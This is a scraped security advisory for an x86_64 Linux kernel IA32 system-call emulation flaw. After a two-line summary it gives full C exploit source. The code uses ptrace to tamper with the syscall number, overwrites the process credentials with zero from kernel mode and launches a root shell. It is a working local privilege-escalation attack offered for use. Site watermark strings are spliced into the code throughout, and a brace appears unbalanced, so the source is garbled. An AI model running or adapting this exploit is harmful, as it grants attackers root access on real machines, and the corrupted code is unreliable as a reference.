IA32 System Call Emulation Vulnerability

Summary
Insufficient validation of general-purpose register in IA32 system call emulation code may lead to local system compromise on x86_64 platform.
 
Credit:
The information has been provided by Robert Swiecki.

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 Details
Exploit:
/*
 * exploit for x86_64 linux kernel ia32syscall emulation
 * bug, discovered by Wojciech Purczynski <cliph_at_isec.pl>
 *
 * by
 * Robert Swiecki <robert_at_swiecki.net>
 * Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
 * Pawel Pisarczyk <pawel_at_immos.com.pl>
 * of ATM-Lab http://www.atm-lab.pl
 */ 网管u家bitscn.net

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h> 中国网管联盟bitsCN.com

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
        int i;
        uint8_t *gs;
        uint32_t *ptr;

        asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs)); 中国网管联盟bitsCN.com

        for (i = 200; i < 1000; i+=1) {

                ptr = (uint32_t*) (gs + i);

                if ((ptr[0] == uid) && (ptr[1] == euid)
                        && (ptr[2] == suid) && (ptr[3] == uid)) {
                        ptr[0] = 0; //UID
                        ptr[1] = 0; //EUID
                        ptr[2] = 0; //SUID

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                        break;
                }
        }

}

static void docall(uint64_t *ptr, uint64_t size)
{
        getresuid(&uid, &euid, &suid);

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        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

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        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        } 网管u家u.bitsCN.com

        for (; ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode; 网管朋友网www_bitscn_net

        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

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        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", 0);
        printf("no /bin/sh ??\n");
        exit(0);
} 网管网www.bitscn.com

int main(int argc, char **argv)
{
        int pid, status, set = 0;
        uint64_t rax;
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
        uint64_t off = 0x0000000800000101 * 8;

        if (argc == 4) {
                docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                exit(0);
        } 网管u家www.bitscn.net

        if ((pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", 0);
                perror("exec fault");
                exit(1);
        }

        if (pid == -1) {
                printf("fork fault\n");
                exit(1);
        } 网管有家www.bitscn.net

        for (;;) {
                if (wait(&status) != pid)
                        continue;

                if (WIFEXITED(status)) {
                        printf("Process finished\n");
                        break;
                } 网管有家www.bitscn.net

                if (!WIFSTOPPED(status))
                        continue;

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                if (WSTOPSIG(status) != SIGTRAP) {
                        printf("Process received signal: %d\n", WSTOPSIG(status));
                        break;
                } 网管朋友网www_bitscn_net

                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }

                if ((rax == 11) && set) {
                        ptrace(PTRACE_DETACH, pid, 0, 0);
                        for(;;)
                                sleep(10000);
                } 网管bitscn_com

                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
        } 网管u家u.bitscn@com

        return 0;
} 网管u家bitscn.net